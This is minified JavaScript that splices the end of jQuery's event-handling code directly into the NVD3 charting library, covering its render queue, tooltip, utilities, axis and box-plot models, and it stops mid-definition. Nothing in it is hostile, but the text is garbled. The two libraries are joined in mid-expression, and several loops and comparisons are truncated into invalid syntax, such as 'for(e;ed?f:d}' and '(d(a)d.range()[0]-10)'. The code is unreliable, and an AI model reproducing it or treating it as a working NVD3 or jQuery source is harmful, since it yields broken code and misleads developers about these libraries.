1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0f&&(e=a.render.queue[f]);f++)d=e.generate(),typeof e.callback==typeof Function&&e.callback(d);a.render.queue.splice(0,f),a.render.queue.length?setTimeout(c):(a.dispatch.render_end(),a.render.active=!1)};setTimeout(c)},a.render.active=!1,a.render.queue=[],a.addGraph=function(b){typeof arguments[0]==typeof Function&&(b={generate:arguments[0],callback:arguments[1]}),a.render.queue.push(b),a.render.active||a.render()},"undefined"!=typeof module&&"undefined"!=typeof exports&&(module.exports=a),"undefined"!=typeof window&&(window.nv=a),a.dom.write=function(a){return void 0!==window.fastdom?fastdom.write(a):a()},a.dom.read=function(a){return void 0!==window.fastdom?fastdom.read(a):a()},a.interactiveGuideline=function(){"use strict";function b(l){l.each(function(l){function m(){var a=d3.mouse(this),d=a[0],e=a[1],i=!0,j=!1;if(k&&(d=d3.event.offsetX,e=d3.event.offsetY,"svg"!==d3.event.target.tagName&&(i=!1),d3.event.target.className.baseVal.match("nv-legend")&&(j=!0)),i&&(d-=f.left,e-=f.top),0>d||0>e||d>o||e>p||d3.event.relatedTarget&&void 0===d3.event.relatedTarget.ownerSVGElement||j){if(k&&d3.event.relatedTarget&&void 0===d3.event.relatedTarget.ownerSVGElement&&(void 0===d3.event.relatedTarget.className||d3.event.relatedTarget.className.match(c.nvPointerEventsClass)))return;return h.elementMouseout({mouseX:d,mouseY:e}),b.renderGuideLine(null),void c.hidden(!0)}c.hidden(!1);var l=g.invert(d);h.elementMousemove({mouseX:d,mouseY:e,pointXValue:l}),"dblclick"===d3.event.type&&h.elementDblclick({mouseX:d,mouseY:e,pointXValue:l}),"click"===d3.event.type&&h.elementClick({mouseX:d,mouseY:e,pointXValue:l})}var n=d3.select(this),o=d||960,p=e||400,q=n.selectAll("g.nv-wrap.nv-interactiveLineLayer").data([l]),r=q.enter().append("g").attr("class"," nv-wrap nv-interactiveLineLayer");r.append("g").attr("class","nv-interactiveGuideLine"),j&&(j.on("touchmove",m).on("mousemove",m,!0).on("mouseout",m,!0).on("dblclick",m).on("click",m),b.guideLine=null,b.renderGuideLine=function(c){i&&(b.guideLine&&b.guideLine.attr("x1")===c||a.dom.write(function(){var b=q.select(".nv-interactiveGuideLine").selectAll("line").data(null!=c?[a.utils.NaNtoZero(c)]:[],String);b.enter().append("line").attr("class","nv-guideline").attr("x1",function(a){return a}).attr("x2",function(a){return a}).attr("y1",p).attr("y2",0),b.exit().remove()}))})})}var c=a.models.tooltip();c.duration(0).hideDelay(0)._isInteractiveLayer(!0).hidden(!1);var d=null,e=null,f={left:0,top:0},g=d3.scale.linear(),h=d3.dispatch("elementMousemove","elementMouseout","elementClick","elementDblclick"),i=!0,j=null,k="ActiveXObject"in window;return b.dispatch=h,b.tooltip=c,b.margin=function(a){return arguments.length?(f.top="undefined"!=typeof a.top?a.top:f.top,f.left="undefined"!=typeof a.left?a.left:f.left,b):f},b.width=function(a){return arguments.length?(d=a,b):d},b.height=function(a){return arguments.length?(e=a,b):e},b.xScale=function(a){return arguments.length?(g=a,b):g},b.showGuideLine=function(a){return arguments.length?(i=a,b):i},b.svgContainer=function(a){return arguments.length?(j=a,b):j},b},a.interactiveBisect=function(a,b,c){"use strict";if(!(a instanceof Array))return null;var d;d="function"!=typeof c?function(a){return a.x}:c;var e=function(a,b){return d(a)-b},f=d3.bisector(e).left,g=d3.max([0,f(a,b)-1]),h=d(a[g]);if("undefined"==typeof h&&(h=g),h===b)return g;var i=d3.min([g+1,a.length-1]),j=d(a[i]);return"undefined"==typeof j&&(j=i),Math.abs(j-b)>=Math.abs(h-b)?g:i},a.nearestValueIndex=function(a,b,c){"use strict";var d=1/0,e=null;return a.forEach(function(a,f){var g=Math.abs(b-a);null!=a&&d>=g&&c>g&&(d=g,e=f)}),e},function(){"use strict";a.models.tooltip=function(){function b(){if(k){var a=d3.select(k);"svg"!==a.node().tagName&&(a=a.select("svg"));var b=a.node()?a.attr("viewBox"):null;if(b){b=b.split(" ");var c=parseInt(a.style("width"),10)/b[2];p.left=p.left*c,p.top=p.top*c}}}function c(){if(!n){var a;a=k?k:document.body,n=d3.select(a).append("div").attr("class","nvtooltip "+(j?j:"xy-tooltip")).attr("id",v),n.style("top",0).style("left",0),n.style("opacity",0),n.selectAll("div, table, td, tr").classed(w,!0),n.classed(w,!0),o=n.node()}}function d(){if(r&&B(e)){b();var f=p.left,g=null!==i?i:p.top;return a.dom.write(function(){c();var b=A(e);b&&(o.innerHTML=b),k&&u?a.dom.read(function(){var a=k.getElementsByTagName("svg")[0],b={left:0,top:0};if(a){var c=a.getBoundingClientRect(),d=k.getBoundingClientRect(),e=c.top;if(0>e){var i=k.getBoundingClientRect();e=Math.abs(e)>i.height?0:e}b.top=Math.abs(e-d.top),b.left=Math.abs(c.left-d.left)}f+=k.offsetLeft+b.left-2*k.scrollLeft,g+=k.offsetTop+b.top-2*k.scrollTop,h&&h>0&&(g=Math.floor(g/h)*h),C([f,g])}):C([f,g])}),d}}var e=null,f="w",g=25,h=0,i=null,j=null,k=null,l=!0,m=400,n=null,o=null,p={left:null,top:null},q={left:0,top:0},r=!0,s=100,t=!0,u=!1,v="nvtooltip-"+Math.floor(1e5*Math.random()),w="nv-pointer-events-none",x=function(a){return a},y=function(a){return a},z=function(a){return a},A=function(a){if(null===a)return"";var b=d3.select(document.createElement("table"));if(t){var c=b.selectAll("thead").data([a]).enter().append("thead");c.append("tr").append("td").attr("colspan",3).append("strong").classed("x-value",!0).html(y(a.value))}var d=b.selectAll("tbody").data([a]).enter().append("tbody"),e=d.selectAll("tr").data(function(a){return a.series}).enter().append("tr").classed("highlight",function(a){return a.highlight});e.append("td").classed("legend-color-guide",!0).append("div").style("background-color",function(a){return a.color}),e.append("td").classed("key",!0).html(function(a,b){return z(a.key,b)}),e.append("td").classed("value",!0).html(function(a,b){return x(a.value,b)}),e.selectAll("td").each(function(a){if(a.highlight){var b=d3.scale.linear().domain([0,1]).range(["#fff",a.color]),c=.6;d3.select(this).style("border-bottom-color",b(c)).style("border-top-color",b(c))}});var f=b.node().outerHTML;return void 0!==a.footer&&(f+=""),f},B=function(a){if(a&&a.series){if(a.series instanceof Array)return!!a.series.length;if(a.series instanceof Object)return a.series=[a.series],!0}return!1},C=function(b){o&&a.dom.read(function(){var c,d,e=parseInt(o.offsetHeight,10),h=parseInt(o.offsetWidth,10),i=a.utils.windowSize().width,j=a.utils.windowSize().height,k=window.pageYOffset,p=window.pageXOffset;j=window.innerWidth>=document.body.scrollWidth?j:j-16,i=window.innerHeight>=document.body.scrollHeight?i:i-16;var r,t,u=function(a){var b=d;do isNaN(a.offsetTop)||(b+=a.offsetTop),a=a.offsetParent;while(a);return b},v=function(a){var b=c;do isNaN(a.offsetLeft)||(b+=a.offsetLeft),a=a.offsetParent;while(a);return b};switch(f){case"e":c=b[0]-h-g,d=b[1]-e/2,r=v(o),t=u(o),p>r&&(c=b[0]+g>p?b[0]+g:p-r+c),k>t&&(d=k-t+d),t+e>k+j&&(d=k+j-t+d-e);break;case"w":c=b[0]+g,d=b[1]-e/2,r=v(o),t=u(o),r+h>i&&(c=b[0]-h-g),k>t&&(d=k+5),t+e>k+j&&(d=k+j-t+d-e);break;case"n":c=b[0]-h/2-5,d=b[1]+g,r=v(o),t=u(o),p>r&&(c=p+5),r+h>i&&(c=c-h/2+5),t+e>k+j&&(d=k+j-t+d-e);break;case"s":c=b[0]-h/2,d=b[1]-e-g,r=v(o),t=u(o),p>r&&(c=p+5),r+h>i&&(c=c-h/2+5),k>t&&(d=k);break;case"none":c=b[0],d=b[1]-g,r=v(o),t=u(o)}c-=q.left,d-=q.top;var w=o.getBoundingClientRect(),k=window.pageYOffset||document.documentElement.scrollTop,p=window.pageXOffset||document.documentElement.scrollLeft,x="translate("+(w.left+p)+"px, "+(w.top+k)+"px)",y="translate("+c+"px, "+d+"px)",z=d3.interpolateString(x,y),A=n.style("opacity")<.1;l?n.transition().delay(m).duration(0).style("opacity",0):n.interrupt().transition().duration(A?0:s).styleTween("transform",function(){return z},"important").style("-webkit-transform",y).style("opacity",1)})};return d.nvPointerEventsClass=w,d.options=a.utils.optionsFunc.bind(d),d._options=Object.create({},{duration:{get:function(){return s},set:function(a){s=a}},gravity:{get:function(){return f},set:function(a){f=a}},distance:{get:function(){return g},set:function(a){g=a}},snapDistance:{get:function(){return h},set:function(a){h=a}},classes:{get:function(){return j},set:function(a){j=a}},chartContainer:{get:function(){return k},set:function(a){k=a}},fixedTop:{get:function(){return i},set:function(a){i=a}},enabled:{get:function(){return r},set:function(a){r=a}},hideDelay:{get:function(){return m},set:function(a){m=a}},contentGenerator:{get:function(){return A},set:function(a){A=a}},valueFormatter:{get:function(){return x},set:function(a){x=a}},headerFormatter:{get:function(){return y},set:function(a){y=a}},keyFormatter:{get:function(){return z},set:function(a){z=a}},headerEnabled:{get:function(){return t},set:function(a){t=a}},_isInteractiveLayer:{get:function(){return u},set:function(a){u=!!a}},position:{get:function(){return p},set:function(a){p.left=void 0!==a.left?a.left:p.left,p.top=void 0!==a.top?a.top:p.top}},offset:{get:function(){return q},set:function(a){q.left=void 0!==a.left?a.left:q.left,q.top=void 0!==a.top?a.top:q.top}},hidden:{get:function(){return l},set:function(a){l!=a&&(l=!!a,d())}},data:{get:function(){return e},set:function(a){a.point&&(a.value=a.point.x,a.series=a.series||{},a.series.value=a.point.y,a.series.color=a.point.color||a.series.color),e=a}},tooltipElem:{get:function(){return o},set:function(){}},id:{get:function(){return v},set:function(){}}}),a.utils.initOptions(d),d}}(),a.utils.windowSize=function(){var a={width:640,height:480};return window.innerWidth&&window.innerHeight?(a.width=window.innerWidth,a.height=window.innerHeight,a):"CSS1Compat"==document.compatMode&&document.documentElement&&document.documentElement.offsetWidth?(a.width=document.documentElement.offsetWidth,a.height=document.documentElement.offsetHeight,a):document.body&&document.body.offsetWidth?(a.width=document.body.offsetWidth,a.height=document.body.offsetHeight,a):a},a.utils.windowResize=function(b){return window.addEventListener?window.addEventListener("resize",b):a.log("ERROR: Failed to bind to window.resize with: ",b),{callback:b,clear:function(){window.removeEventListener("resize",b)}}},a.utils.getColor=function(b){if(void 0===b)return a.utils.defaultColor();if(Array.isArray(b)){var c=d3.scale.ordinal().range(b);return function(a,b){var d=void 0===b?a:b;return a.color||c(d)}}return b},a.utils.defaultColor=function(){return a.utils.getColor(d3.scale.category20().range())},a.utils.customTheme=function(a,b,c){b=b||function(a){return a.key},c=c||d3.scale.category20().range();var d=c.length;return function(e){var f=b(e);return"function"==typeof a[f]?a[f]():void 0!==a[f]?a[f]:(d||(d=c.length),d-=1,c[d])}},a.utils.pjax=function(b,c){var d=function(d){d3.html(d,function(d){var e=d3.select(c).node();e.parentNode.replaceChild(d3.select(d).select(c).node(),e),a.utils.pjax(b,c)})};d3.selectAll(b).on("click",function(){history.pushState(this.href,this.textContent,this.href),d(this.href),d3.event.preventDefault()}),d3.select(window).on("popstate",function(){d3.event.state&&d(d3.event.state)})},a.utils.calcApproxTextWidth=function(a){if("function"==typeof a.style&&"function"==typeof a.text){var b=parseInt(a.style("font-size").replace("px",""),10),c=a.text().length;return c*b*.5}return 0},a.utils.NaNtoZero=function(a){return"number"!=typeof a||isNaN(a)||null===a||1/0===a||a===-1/0?0:a},d3.selection.prototype.watchTransition=function(a){var b=[this].concat([].slice.call(arguments,1));return a.transition.apply(a,b)},a.utils.renderWatch=function(b,c){if(!(this instanceof a.utils.renderWatch))return new a.utils.renderWatch(b,c);var d=void 0!==c?c:250,e=[],f=this;this.models=function(a){return a=[].slice.call(arguments,0),a.forEach(function(a){a.__rendered=!1,function(a){a.dispatch.on("renderEnd",function(){a.__rendered=!0,f.renderEnd("model")})}(a),e.indexOf(a)<0&&e.push(a)}),this},this.reset=function(a){void 0!==a&&(d=a),e=[]},this.transition=function(a,b,c){if(b=arguments.length>1?[].slice.call(arguments,1):[],c=b.length>1?b.pop():void 0!==d?d:250,a.__rendered=!1,e.indexOf(a)<0&&e.push(a),0===c)return a.__rendered=!0,a.delay=function(){return this},a.duration=function(){return this},a;a.__rendered=0===a.length?!0:a.every(function(a){return!a.length})?!0:!1;var g=0;return a.transition().duration(c).each(function(){++g}).each("end",function(){0===--g&&(a.__rendered=!0,f.renderEnd.apply(this,b))})},this.renderEnd=function(){e.every(function(a){return a.__rendered})&&(e.forEach(function(a){a.__rendered=!1}),b.renderEnd.apply(this,arguments))}},a.utils.deepExtend=function(b){var c=arguments.length>1?[].slice.call(arguments,1):[];c.forEach(function(c){for(var d in c){var e=b[d]instanceof Array,f="object"==typeof b[d],g="object"==typeof c[d];f&&!e&&g?a.utils.deepExtend(b[d],c[d]):b[d]=c[d]}})},a.utils.state=function(){if(!(this instanceof a.utils.state))return new a.utils.state;var b={},c=function(){},d=function(){return{}},e=null,f=null;this.dispatch=d3.dispatch("change","set"),this.dispatch.on("set",function(a){c(a,!0)}),this.getter=function(a){return d=a,this},this.setter=function(a,b){return b||(b=function(){}),c=function(c,d){a(c),d&&b()},this},this.init=function(b){e=e||{},a.utils.deepExtend(e,b)};var g=function(){var a=d();if(JSON.stringify(a)===JSON.stringify(b))return!1;for(var c in a)void 0===b[c]&&(b[c]={}),b[c]=a[c],f=!0;return!0};this.update=function(){e&&(c(e,!1),e=null),g.call(this)&&this.dispatch.change(b)}},a.utils.optionsFunc=function(a){return a&&d3.map(a).forEach(function(a,b){"function"==typeof this[a]&&this[a](b)}.bind(this)),this},a.utils.calcTicksX=function(b,c){var d=1,e=0;for(e;ed?f:d}return a.log("Requested number of ticks: ",b),a.log("Calculated max values to be: ",d),b=b>d?b=d-1:b,b=1>b?1:b,b=Math.floor(b),a.log("Calculating tick count as: ",b),b},a.utils.calcTicksY=function(b,c){return a.utils.calcTicksX(b,c)},a.utils.initOption=function(a,b){a._calls&&a._calls[b]?a[b]=a._calls[b]:(a[b]=function(c){return arguments.length?(a._overrides[b]=!0,a._options[b]=c,a):a._options[b]},a["_"+b]=function(c){return arguments.length?(a._overrides[b]||(a._options[b]=c),a):a._options[b]})},a.utils.initOptions=function(b){b._overrides=b._overrides||{};var c=Object.getOwnPropertyNames(b._options||{}),d=Object.getOwnPropertyNames(b._calls||{});c=c.concat(d);for(var e in c)a.utils.initOption(b,c[e])},a.utils.inheritOptionsD3=function(a,b,c){a._d3options=c.concat(a._d3options||[]),c.unshift(b),c.unshift(a),d3.rebind.apply(this,c)},a.utils.arrayUnique=function(a){return a.sort().filter(function(b,c){return!c||b!=a[c-1]})},a.utils.symbolMap=d3.map(),a.utils.symbol=function(){function b(b,e){var f=c.call(this,b,e),g=d.call(this,b,e);return-1!==d3.svg.symbolTypes.indexOf(f)?d3.svg.symbol().type(f).size(g)():a.utils.symbolMap.get(f)(g)}var c,d=64;return b.type=function(a){return arguments.length?(c=d3.functor(a),b):c},b.size=function(a){return arguments.length?(d=d3.functor(a),b):d},b},a.utils.inheritOptions=function(b,c){var d=Object.getOwnPropertyNames(c._options||{}),e=Object.getOwnPropertyNames(c._calls||{}),f=c._inherited||[],g=c._d3options||[],h=d.concat(e).concat(f).concat(g);h.unshift(c),h.unshift(b),d3.rebind.apply(this,h),b._inherited=a.utils.arrayUnique(d.concat(e).concat(f).concat(d).concat(b._inherited||[])),b._d3options=a.utils.arrayUnique(g.concat(b._d3options||[]))},a.utils.initSVG=function(a){a.classed({"nvd3-svg":!0})},a.utils.sanitizeHeight=function(a,b){return a||parseInt(b.style("height"),10)||400},a.utils.sanitizeWidth=function(a,b){return a||parseInt(b.style("width"),10)||960},a.utils.availableHeight=function(b,c,d){return a.utils.sanitizeHeight(b,c)-d.top-d.bottom},a.utils.availableWidth=function(b,c,d){return a.utils.sanitizeWidth(b,c)-d.left-d.right},a.utils.noData=function(b,c){var d=b.options(),e=d.margin(),f=d.noData(),g=null==f?["No Data Available."]:[f],h=a.utils.availableHeight(d.height(),c,e),i=a.utils.availableWidth(d.width(),c,e),j=e.left+i/2,k=e.top+h/2;c.selectAll("g").remove();var l=c.selectAll(".nv-noData").data(g);l.enter().append("text").attr("class","nvd3 nv-noData").attr("dy","-.7em").style("text-anchor","middle"),l.attr("x",j).attr("y",k).text(function(a){return a})},a.models.axis=function(){"use strict";function b(g){return s.reset(),g.each(function(b){var g=d3.select(this);a.utils.initSVG(g);var p=g.selectAll("g.nv-wrap.nv-axis").data([b]),q=p.enter().append("g").attr("class","nvd3 nv-wrap nv-axis"),t=(q.append("g"),p.select("g"));null!==n?c.ticks(n):("top"==c.orient()||"bottom"==c.orient())&&c.ticks(Math.abs(d.range()[1]-d.range()[0])/100),t.watchTransition(s,"axis").call(c),r=r||c.scale();var u=c.tickFormat();null==u&&(u=r.tickFormat());var v=t.selectAll("text.nv-axislabel").data([h||null]);v.exit().remove();var w,x,y;switch(c.orient()){case"top":v.enter().append("text").attr("class","nv-axislabel"),y=d.range().length<2?0:2===d.range().length?d.range()[1]:d.range()[d.range().length-1]+(d.range()[1]-d.range()[0]),v.attr("text-anchor","middle").attr("y",0).attr("x",y/2),i&&(x=p.selectAll("g.nv-axisMaxMin").data(d.domain()),x.enter().append("g").attr("class",function(a,b){return["nv-axisMaxMin","nv-axisMaxMin-x",0==b?"nv-axisMin-x":"nv-axisMax-x"].join(" ")}).append("text"),x.exit().remove(),x.attr("transform",function(b){return"translate("+a.utils.NaNtoZero(d(b))+",0)"}).select("text").attr("dy","-0.5em").attr("y",-c.tickPadding()).attr("text-anchor","middle").text(function(a){var b=u(a);return(""+b).match("NaN")?"":b}),x.watchTransition(s,"min-max top").attr("transform",function(b,c){return"translate("+a.utils.NaNtoZero(d.range()[c])+",0)"}));break;case"bottom":w=o+36;var z=30,A=0,B=t.selectAll("g").select("text"),C="";if(j%360){B.each(function(){var a=this.getBoundingClientRect(),b=a.width;A=a.height,b>z&&(z=b)}),C="rotate("+j+" 0,"+(A/2+c.tickPadding())+")";var D=Math.abs(Math.sin(j*Math.PI/180));w=(D?D*z:z)+30,B.attr("transform",C).style("text-anchor",j%360>0?"start":"end")}v.enter().append("text").attr("class","nv-axislabel"),y=d.range().length<2?0:2===d.range().length?d.range()[1]:d.range()[d.range().length-1]+(d.range()[1]-d.range()[0]),v.attr("text-anchor","middle").attr("y",w).attr("x",y/2),i&&(x=p.selectAll("g.nv-axisMaxMin").data([d.domain()[0],d.domain()[d.domain().length-1]]),x.enter().append("g").attr("class",function(a,b){return["nv-axisMaxMin","nv-axisMaxMin-x",0==b?"nv-axisMin-x":"nv-axisMax-x"].join(" ")}).append("text"),x.exit().remove(),x.attr("transform",function(b){return"translate("+a.utils.NaNtoZero(d(b)+(m?d.rangeBand()/2:0))+",0)"}).select("text").attr("dy",".71em").attr("y",c.tickPadding()).attr("transform",C).style("text-anchor",j?j%360>0?"start":"end":"middle").text(function(a){var b=u(a);return(""+b).match("NaN")?"":b}),x.watchTransition(s,"min-max bottom").attr("transform",function(b){return"translate("+a.utils.NaNtoZero(d(b)+(m?d.rangeBand()/2:0))+",0)"})),l&&B.attr("transform",function(a,b){return"translate(0,"+(b%2==0?"0":"12")+")"});break;case"right":v.enter().append("text").attr("class","nv-axislabel"),v.style("text-anchor",k?"middle":"begin").attr("transform",k?"rotate(90)":"").attr("y",k?-Math.max(e.right,f)+12:-10).attr("x",k?d3.max(d.range())/2:c.tickPadding()),i&&(x=p.selectAll("g.nv-axisMaxMin").data(d.domain()),x.enter().append("g").attr("class",function(a,b){return["nv-axisMaxMin","nv-axisMaxMin-y",0==b?"nv-axisMin-y":"nv-axisMax-y"].join(" ")}).append("text").style("opacity",0),x.exit().remove(),x.attr("transform",function(b){return"translate(0,"+a.utils.NaNtoZero(d(b))+")"}).select("text").attr("dy",".32em").attr("y",0).attr("x",c.tickPadding()).style("text-anchor","start").text(function(a){var b=u(a);return(""+b).match("NaN")?"":b}),x.watchTransition(s,"min-max right").attr("transform",function(b,c){return"translate(0,"+a.utils.NaNtoZero(d.range()[c])+")"}).select("text").style("opacity",1));break;case"left":v.enter().append("text").attr("class","nv-axislabel"),v.style("text-anchor",k?"middle":"end").attr("transform",k?"rotate(-90)":"").attr("y",k?-Math.max(e.left,f)+25-(o||0):-10).attr("x",k?-d3.max(d.range())/2:-c.tickPadding()),i&&(x=p.selectAll("g.nv-axisMaxMin").data(d.domain()),x.enter().append("g").attr("class",function(a,b){return["nv-axisMaxMin","nv-axisMaxMin-y",0==b?"nv-axisMin-y":"nv-axisMax-y"].join(" ")}).append("text").style("opacity",0),x.exit().remove(),x.attr("transform",function(b){return"translate(0,"+a.utils.NaNtoZero(r(b))+")"}).select("text").attr("dy",".32em").attr("y",0).attr("x",-c.tickPadding()).attr("text-anchor","end").text(function(a){var b=u(a);return(""+b).match("NaN")?"":b}),x.watchTransition(s,"min-max right").attr("transform",function(b,c){return"translate(0,"+a.utils.NaNtoZero(d.range()[c])+")"}).select("text").style("opacity",1))}if(v.text(function(a){return a}),!i||"left"!==c.orient()&&"right"!==c.orient()||(t.selectAll("g").each(function(a){d3.select(this).select("text").attr("opacity",1),(d(a)d.range()[0]-10)&&((a>1e-10||-1e-10>a)&&d3.select(this).attr("opacity",0),d3.select(this).select("text").attr("opacity",0))}),d.domain()[0]==d.domain()[1]&&0==d.domain()[0]&&p.selectAll("g.nv-axisMaxMin").style("opacity",function(a,b){return b?0:1})),i&&("top"===c.orient()||"bottom"===c.orient())){var E=[];p.selectAll("g.nv-axisMaxMin").each(function(a,b){try{E.push(b?d(a)-this.getBoundingClientRect().width-4:d(a)+this.getBoundingClientRect().width+4)}catch(c){E.push(b?d(a)-4:d(a)+4)}}),t.selectAll("g").each(function(a){(d(a)E[1])&&(a>1e-10||-1e-10>a?d3.select(this).remove():d3.select(this).select("text").remove())})}t.selectAll(".tick").filter(function(a){return!parseFloat(Math.round(1e5*a)/1e6)&&void 0!==a}).classed("zero",!0),r=d.copy()}),s.renderEnd("axis immediate"),b}var c=d3.svg.axis(),d=d3.scale.linear(),e={top:0,right:0,bottom:0,left:0},f=75,g=60,h=null,i=!0,j=0,k=!0,l=!1,m=!1,n=null,o=0,p=250,q=d3.dispatch("renderEnd");c.scale(d).orient("bottom").tickFormat(function(a){return a});var r,s=a.utils.renderWatch(q,p);return b.axis=c,b.dispatch=q,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{axisLabelDistance:{get:function(){return o},set:function(a){o=a}},staggerLabels:{get:function(){return l},set:function(a){l=a}},rotateLabels:{get:function(){return j},set:function(a){j=a}},rotateYLabel:{get:function(){return k},set:function(a){k=a}},showMaxMin:{get:function(){return i},set:function(a){i=a}},axisLabel:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return g},set:function(a){g=a}},ticks:{get:function(){return n},set:function(a){n=a}},width:{get:function(){return f},set:function(a){f=a}},margin:{get:function(){return e},set:function(a){e.top=void 0!==a.top?a.top:e.top,e.right=void 0!==a.right?a.right:e.right,e.bottom=void 0!==a.bottom?a.bottom:e.bottom,e.left=void 0!==a.left?a.left:e.left}},duration:{get:function(){return p},set:function(a){p=a,s.reset(p)}},scale:{get:function(){return d},set:function(e){d=e,c.scale(d),m="function"==typeof d.rangeBands,a.utils.inheritOptionsD3(b,d,["domain","range","rangeBand","rangeBands"])}}}),a.utils.initOptions(b),a.utils.inheritOptionsD3(b,c,["orient","tickValues","tickSubdivide","tickSize","tickPadding","tickFormat"]),a.utils.inheritOptionsD3(b,d,["domain","range","rangeBand","rangeBands"]),b},a.models.boxPlot=function(){"use strict";function b(l){return v.reset(),l.each(function(b){var l=j-i.left-i.right,p=k-i.top-i.bottom;r=d3.select(this),a.utils.initSVG(r),m.domain(c||b.map(function(a,b){return o(a,b)})).rangeBands(e||[0,l],.1);var w=[];if(!d){var x=d3.min(b.map(function(a){var b=[];return b.push(a.values.Q1),a.values.hasOwnProperty("whisker_low")&&null!==a.values.whisker_low&&b.push(a.values.whisker_low),a.values.hasOwnProperty("outliers")&&null!==a.values.outliers&&(b=b.concat(a.values.outliers)),d3.min(b)})),y=d3.max(b.map(function(a){var b=[];return b.push(a.values.Q3),a.values.hasOwnProperty("whisker_high")&&null!==a.values.whisker_high&&b.push(a.values.whisker_high),a.values.hasOwnProperty("outliers")&&null!==a.values.outliers&&(b=b.concat(a.values.outliers)),d3.max(b)}));w=[x,y]}n.domain(d||w),n.range(f||[p,0]),g=g||m,h=h||n.copy().range([n(0),n(0)]);{var z=r.selectAll("g.nv-wrap").data([b]);z.enter().append("g").attr("class","nvd3 nv-wrap")}z.attr("transform","translate("+i.left+","+i.top+")");var A=z.selectAll(".nv-boxplot").data(function(a){return a}),B=A.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6);A.attr("class","nv-boxplot").attr("transform",function(a,b){return"translate("+(m(o(a,b))+.05*m.rangeBand())+", 0)"}).classed("hover",function(a){return a.hover}),A.watchTransition(v,"nv-boxplot: boxplots").style("stroke-opacity",1).style("fill-opacity",.75).delay(function(a,c){return c*t/b.length}).attr("transform",function(a,b){return"translate("+(m(o(a,b))+.05*m.rangeBand())+", 0)"}),A.exit().remove(),B.each(function(a,b){var c=d3.select(this);["low","high"].forEach(function(d){a.values.hasOwnProperty("whisker_"+d)&&null!==a.values["whisker_"+d]&&(c.append("line").style("stroke",a.color?a.color:q(a,b)).attr("class","nv-boxplot-whisker nv-boxplot-"+d),c.append("line").style("stroke",a.color?a.color:q(a,b)).attr("class","nv-boxplot-tick nv-boxplot-"+d))})});var C=A.selectAll(".nv-boxplot-outlier").data(function(a){return a.values.hasOwnProperty("outliers")&&null!==a.values.outliers?a.values.outliers:[]});C.enter().append("circle").style("fill",function(a,b,c){return q(a,c)}).style("stroke",function(a,b,c){return q(a,c)}).on("mouseover",function(a,b,c){d3.select(this).classed("hover",!0),s.elementMouseover({series:{key:a,color:q(a,c)},e:d3.event})}).on("mouseout",function(a,b,c){d3.select(this).classed("hover",!1),s.elementMouseout({series:{key:a,color:q(a,c)},e:d3.event})}).on("mousemove",function(){s.elementMousemove({e:d3.event})}),C.attr("class","nv-boxplot-outlier"),C.watchTransition(v,"nv-boxplot: nv-boxplot-outlier").attr("cx",.45*m.rangeBand()).attr("cy",function(a){return n(a)}).attr("r","3"),C.exit().remove();var D=function(){return null===u?.9*m.rangeBand():Math.min(75,.9*m.rangeBand())},E=function(){return.45*m.rangeBand()-D()/2},F=function(){return.45*m.rangeBand()+D()/2};["low","high"].forEach(function(a){var b="low"===a?"Q1":"Q3";A.select("line.nv-boxplot-whisker.nv-boxplot-"+a).watchTransition(v,"nv-boxplot: boxplots").attr("x1",.45*m.rangeBand()).attr("y1",function(b){return n(b.values["whisker_"+a])}).attr("x2",.45*m.rangeBand()).attr("y2",function(a){return n(a.values[b])}),A.select("line.nv-boxplot-tick.nv-boxplot-"+a).watchTransition(v,"nv-boxplot: boxplots").attr("x1",E).attr("y1",function(b){return n(b.values["whisker_"+a])}).attr("x2",F).attr("y2",function(b){return n(b.values["whisker_"+a])})}),["low","high"].forEach(function(a){B.selectAll(".nv-boxplot-"+a).on("mouseover",function(b,c,d){d3.select(this).classed("hover",!0),s.elementMouseover({series:{key:b.values["whisker_"+a],color:q(b,d)},e:d3.event})}).on("mouseout",function(b,c,d){d3.select(this).classed("hover",!1),s.elementMouseout({series:{key:b.values["whisker_"+a],color:q(b,d)},e:d3.event})}).on("mousemove",function(){s.elementMousemove({e:d3.event})})}),B.append("rect").attr("class","nv-boxplot-box").on("mouseover",function(a,b){d3.select(this).classed("hover",!0),s.elementMouseover({key:a.label,value:a.label,series:[{key:"Q3",value:a.values.Q3,color:a.color||q(a,b)},{key:"Q2",value:a.values.Q2,color:a.color||q(a,b)},{key:"Q1",value:a.values.Q1,color:a.color||q(a,b)}],data:a,index:b,e:d3.event})}).on("mouseout",function(a,b){d3.select(this).classed("hover",!1),s.elementMouseout({key:a.label,value:a.label,series:[{key:"Q3",value:a.values.Q3,color:a.color||q(a,b)},{key:"Q2",value:a.values.Q2,color:a.color||q(a,b)},{key:"Q1",value:a.values.Q1,color:a.color||q(a,b)}],data:a,index:b,e:d3.event})}).on("mousemove",function(){s.elementMousemove({e:d3.event})}),A.select("rect.nv-boxplot-box").watchTransition(v,"nv-boxplot: boxes").attr("y",function(a){return n(a.values.Q3)}).attr("width",D).attr("x",E).attr("height",function(a){return Math.abs(n(a.values.Q3)-n(a.values.Q1))||1}).style("fill",function(a,b){return a.color||q(a,b)}).style("stroke",function(a,b){return a.color||q(a,b)}),B.append("line").attr("class","nv-boxplot-median"),A.select("line.nv-boxplot-median").watchTransition(v,"nv-boxplot: boxplots line").attr("x1",E).attr("y1",function(a){return n(a.values.Q2)}).attr("x2",F).attr("y2",function(a){return n(a.values.Q2)}),g=m.copy(),h=n.copy()}),v.renderEnd("nv-boxplot immediate"),b}var c,d,e,f,g,h,i={top:0,right:0,bottom:0,left:0},j=960,k=500,l=Math.floor(1e4*Math.random()),m=d3.scale.ordinal(),n=d3.scale.linear(),o=function(a){return a.x},p=function(a){return a.y},q=a.utils.defaultColor(),r=null,s=d3.dispatch("elementMouseover","elementMouseout","elementMousemove","renderEnd"),t=250,u=null,v=a.utils.renderWatch(s,t);return b.dispatch=s,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return j},set:function(a){j=a}},height:{get:function(){return k},set:function(a){k=a}},maxBoxWidth:{get:function(){return u},set:function(a){u=a}},x:{get:function(){return o},set:function(a){o=a}},y:{get:function(){return p},set:function(a){p=a}},xScale:{get:function(){return 